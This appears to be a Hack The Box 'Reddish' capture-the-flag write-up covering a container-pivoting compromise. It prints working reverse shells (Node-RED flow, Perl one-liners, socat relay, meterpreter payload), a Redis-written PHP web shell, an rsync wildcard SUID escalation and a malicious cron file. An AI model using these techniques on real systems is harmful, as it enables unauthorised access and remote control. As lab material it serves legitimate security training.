Writeup: Hack The Box — Reddish

Description

  • Name:
  • IP:
  • Author:
  • Difficulty:

Discovery

PORT     STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=12/24%OT=1880%CT=1%CU=36670%PV=Y%DS=2%DC=T%G=Y%TM=5C20
OS:FC3A%P=x86_64-unknown-linux-gnu)SEQ(SP=FE%GCD=1%ISR=109%TI=Z%II=I%TS=8)S
OS:EQ(SP=FE%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54BST1
OS:1NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=71
OS:20%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=3F%W=7210%O=M5
OS:4BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4
OS:(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%
OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

From :

http://10.10.10.94:1880/icons (Status: 301)
http://10.10.10.94:1880/red (Status: 301)
http://10.10.10.94:1880/red/images (Status: 301)
http://10.10.10.94:1880/red/about (Status: 200)
http://10.10.10.94:1880/vendor (Status: 301)

From :

---------------------------------------------------------------------------
+ Target IP: 10.10.10.94
+ Target Hostname: 10.10.10.94
+ Target Port: 1880
+ Start Time: 2018-12-11 09:30:05 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server leaks inodes via ETags, header found with file /favicon.ico, fields: 0xW/423e 0x1632cb8ed78
+ Allowed HTTP Methods: POST
+ 7500 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2018-12-11 09:36:07 (GMT1) (362 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Pwn

The target web-server on port 1880 is not configured to use GET (Nikto listed only _POST_ method):

Image for post
Image for post

With a POST request the server responds with an id and path key (the id is different from each reboot):

http POST http://10.10.10.94:1880

HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 86
Content-Type: application/json; charset=utf-8
Date: Sun, 16 Dec 2018 15:10:35 GMT
ETag: W/"56-joAMhror+1d2+Z6Z553A/FFSJ7I"
X-Powered-By: Express

{
"id": "a482df6bbb192aea703be2169b2f931a",
"ip": "::ffff:10.10.15.44",
"path": "/red/{id}"
}

Following this URL a node-red application is presented to the user. Node-RED is a programming tool for wiring together hardware devices, APIs and on-line services using drag-and-drop.

Image for post
Image for post

Since the tool allows creating TCP sockets and connections it's possible to instantiate a reverse shell using a pre-configured JSON config.

[
{ "id": "7235b2e6.4cdb9c", "type": "tab", "label": "Flow 1" },
{
"id": "d03f1ac0.886c28",
"type": "tcp out",
"z": "7235b2e6.4cdb9c",
"host": "",
"port": "",
"beserver": "reply",
"base64": false,
"end": false,
"name": "",
"x": 786,
"y": 350,
"wires": []
},
{
"id": "c14a4b00.271d28",
"type": "tcp in",
"z": "7235b2e6.4cdb9c",
"name": "",
"server": "client",
"host": "10.10.XX.XX",
"port": "3488",
"datamode": "stream",
"datatype": "buffer",
"newline": "",
"topic": "",
"base64": false,
"x": 281,
"y": 337,
"wires": [["4750d7cd.3c6e88"]]
},
{
"id": "4750d7cd.3c6e88",
"type": "exec",
"z": "7235b2e6.4cdb9c",
"command": "",
"addpay": true,
"append": "",
"useSpawn": "false",
"timer": "",
"oldrc": false,
"name": "",
"x": 517,
"y": 362.5,
"wires": [["d03f1ac0.886c28"], ["d03f1ac0.886c28"], ["d03f1ac0.886c28"]]
}
]

Open a listener with ; import the JSON with the menu on the right and then “import”, “Clipboard” and click “Deploy”. A shell should pop up:

Image for post
Image for post
Trigger the connection for the reverse shell
Image for post
Image for post
Reverse shell

To upgrade the reverse shell to a meterpreter session:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=3487 -f elf -o dodo.exemsfconsole -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set LPORT 3487; run -j"base64 -w0 dodo.exe

On the target machine drop the meterpreter ELF:

echo -n <base64fromabove> | base64 -d > dodo.exe; chmod +x ./dodo.exe; ./dodo.exe
Image for post
Image for post

The exploited machine is a container without any useful information except for the list of network interfaces and subnets.

meterpreter > ipconfig

Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 7
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:02
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.18.0.2
IPv4 Netmask : 255.255.0.0


Interface 17
============
Name : eth1
Hardware MAC : 02:42:ac:13:00:04
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.19.0.4
IPv4 Netmask : 255.255.0.0

To confirm that the session is inside a container: .

To start pivoting on both networks the routes should be added using . First of all a port scan is useful to discover and scan all other machines in the subnet.

Image for post
Image for post

This phase requires a lot of time so can be used to make this activity asynchronous. After a while the port scan returns:

[+] 172.19.0.2:           - 172.19.0.2:80 - TCP OPEN
[+] 172.19.0.3: - 172.19.0.3:6379 - TCP OPEN
[+] 172.19.0.4: - 172.19.0.4:1880 - TCP OPEN (this is the current container)

is not enough to access these containers, a port forwarding is required:

portfwd add -l 6379 -r 172.19.0.3 -p 6379
portfwd add -l 8080 -r 172.19.0.2 -p 80

Now the Redis and the Apache server can be accessed on localhost. A scan on those ports returns some detailed information:

PORT     STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.10 ((Debian))

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9

Redis server can be queried on localhost via (shipped with the default Redis installation).

The default Apache welcome page is improved with some JavaScript code to push visitor's hits on the Redis DB.

$(document).ready(function() {
incrCounter();
getData();
});

function getData() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("Number of hits:", data);
},
error: function() {}
});
}

function incrCounter() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("HITS incremented:", data);
},
error: function() {}
});
}

/*
* TODO
*
* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...
*/
function backupDatabase() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
cache: false,
dataType: "text",
success: function(data) {
console.log("Database saved:", data);
},
error: function() {}
});
}

Since the back-end is using PHP to collect hits data it should be clear that Redis should be exploited to create a RCE.

can be used to upload a web shell since Redis can be exploited to run commands: https://dl.packetstormsecurity.net/1511-exploits/redis-exec.txt

echo "CONFIG SET dir /var/www/html" | redis-cli
echo "CONFIG SET dbfilename dosh.php" | redis-cli
echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli
echo "BGSAVE" | redis-cli

Now the web-shell is usable from http://localhost:8080/dosh.php?cmd=id; since PHP is installed should be possible to create another meterpreter session from the Apache container.

Image for post
Image for post
Apache’s web shell

The garbage on the output is due to the Redis DB file format.

The container with Apache (and the one with Redis) are not allowed to connect back to the attacker machine but only to the first container (Node-RED), so the attacker needs to pivot all traffic through this machine.

Metasploit offers the possibility to run a SOCKS proxy (both v4 and v5); this proxy can be used with proxychains to access the subnet from the meterpreter session. For example is possible to run Nmap from another terminal using (to get a list of online IPs).

Image for post
Image for post

After some trial and error the best way to create a reverse shell is to use socat as proxy on the Node-RED container to forward all the traffic from Apache container to the attacker machine; however the socat binary is not present on the victim machine but it's possible to upload it via meterpreter from https://github.com/andrew-d/static-binaries.

./socat tcp4-listen:3455,reuseaddr,fork tcp4:10.10.XX.XX:8456

This command spawns a listener on port 3455; the traffic coming from this port is forwarded to the remote attacker host on port 8456 (the attacker is listening using ). To execute a reverse shell on the remote Apache machine a simple command to connect back is not enough since the connection is killed after the command execution.

To create a "persistent" connection the attacker should create a multi-stage shell: drop the command/script on the remote machine and then execute it.

The user running Apache is and can write files only in the folder; the attacker should drop the reverse shell script in this folder, add the execution permission bit and then run it.

To automate the shell upload is possible to use to execute a simple script:

echo "FLUSHALL" | redis-cli -h 172.19.0.3
echo "CONFIG SET dir /var/www/html" | redis-cli -h 172.19.0.3
echo "CONFIG SET dbfilename dosh.php" | redis-cli -h 172.19.0.3
echo "SET PAYLOAD \"<?php echo shell_exec(\$_GET['cmd']); ?>\"" | redis-cli -h 172.19.0.3
echo "BGSAVE" | redis-cli -h 172.19.0.3

# Create a revere shell connector in Perl
pshell=$(echo "perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | base64 -w0)

# Upload, add +x and execute the remote shell
# HTTPie automatically url-encode the parameters if using "=="
http GET "http://172.19.0.2/dosh.php" "cmd==echo -n ${pshell} | base64 -d > ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; chmod +x ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl" | cat --

Now a shell is popped:

Image for post
Image for post

Heading to folder to search for the first flag:

Image for post
Image for post

The file is not readable from but it is possible to find a way to privesc to . In folders there is a entry that execute, as , every 3 minutes:

Image for post
Image for post
*/3 * * * * root sh /backup/backup.sh

The backup script is using to restore the content of folder (this script destroys the uploaded shell but not the running process):

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

can be exploited to execute arbitrary command if used with the wildcard (similar to the privesc):

echo "cp /bin/bash /tmp/dodosh" > test.rdb
echo "chmod +x /tmp/dodosh" >> test.rdb
echo "chmod +s /tmp/dodosh" >> test.rdb
echo "" > "-e sh test.rdb"

These commands create a file called (to match the wildcard) that will copy the Bash binary to ; add the execution bit and then make the ELF SUID. This script should create a SUID runnable shell owned by root.

Image for post
Image for post

After a while the binary is copied in and can be used to run a session for ():

Image for post
Image for post
Root session
Image for post
Image for post
User flag

The Apache container has two interfaces:

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1
valid_lft forever preferred_lft forever

The subnet is the one used to communicate with the Redis server; the subnet is used by the backup script from host: (port 873, default port).

On the Apache container there is no so the system flag should be in the last container . Using is possible to download the filesystem of the remote host:

rsync -a --progress --max-size='5k' --min-size="1k" rsync://backup:873/src/ .

To filter only the system flag the command allows to set a minimum and maximum size for the transferred files.

Image for post
Image for post
No root flag

On the remote host there is no system flag but using is possible to get a shell and then start an in-depth analysis of the backup container.

Using an attacker can upload arbitrary files on the remote host so creating a simple cron file it's possible to get a reverse shell:

On the Apache container:

echo '* * * * * root perl -e '"'"'use Socket;$i="172.20.0.2";$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"'' > dorev

This command execute a connection to the Apache host via the "backup" subnet. To get a reverse shell the attacker also need the Ncat ELF that can be imported using the base64 encoding (same as the meterpreter ELF).

echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAkilAAAAAAABAAAAAAAAAAHh0LAAAAAAAAAAAAEAAOAAD' > ncat.b64
echo 'AEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA1DcrAAAAAADUNysAAAAAAAAA' >> ncat.b64
echo 'IAAAAAAAAQAAAAYAAADYNysAAAAAANg3iwAAAAAA2DeLAAAAAAAYPAEAAAAAABCwAQAAAAAAAAAg' >> ncat.b64
echo 'AAAAAABR5XRkBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAA' >> ncat.b64
[..]
Image for post
Image for post
rsync -a --progress ./dorev rsync://backup:873/src/etc/cron.d/dorev

Once the connection is triggered from the shell is spawned but, again, no system flag.

Image for post
Image for post

Analysing the filesystem and the location of device files in is possible to see that many volumes are available to be mounted:

Image for post
Image for post

Mounting on the system flag is readable:

Image for post
Image for post
Root flag
Image for post
Image for post
Reddish badge

https://www.hackthebox.eu/profile/1752

Written by

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store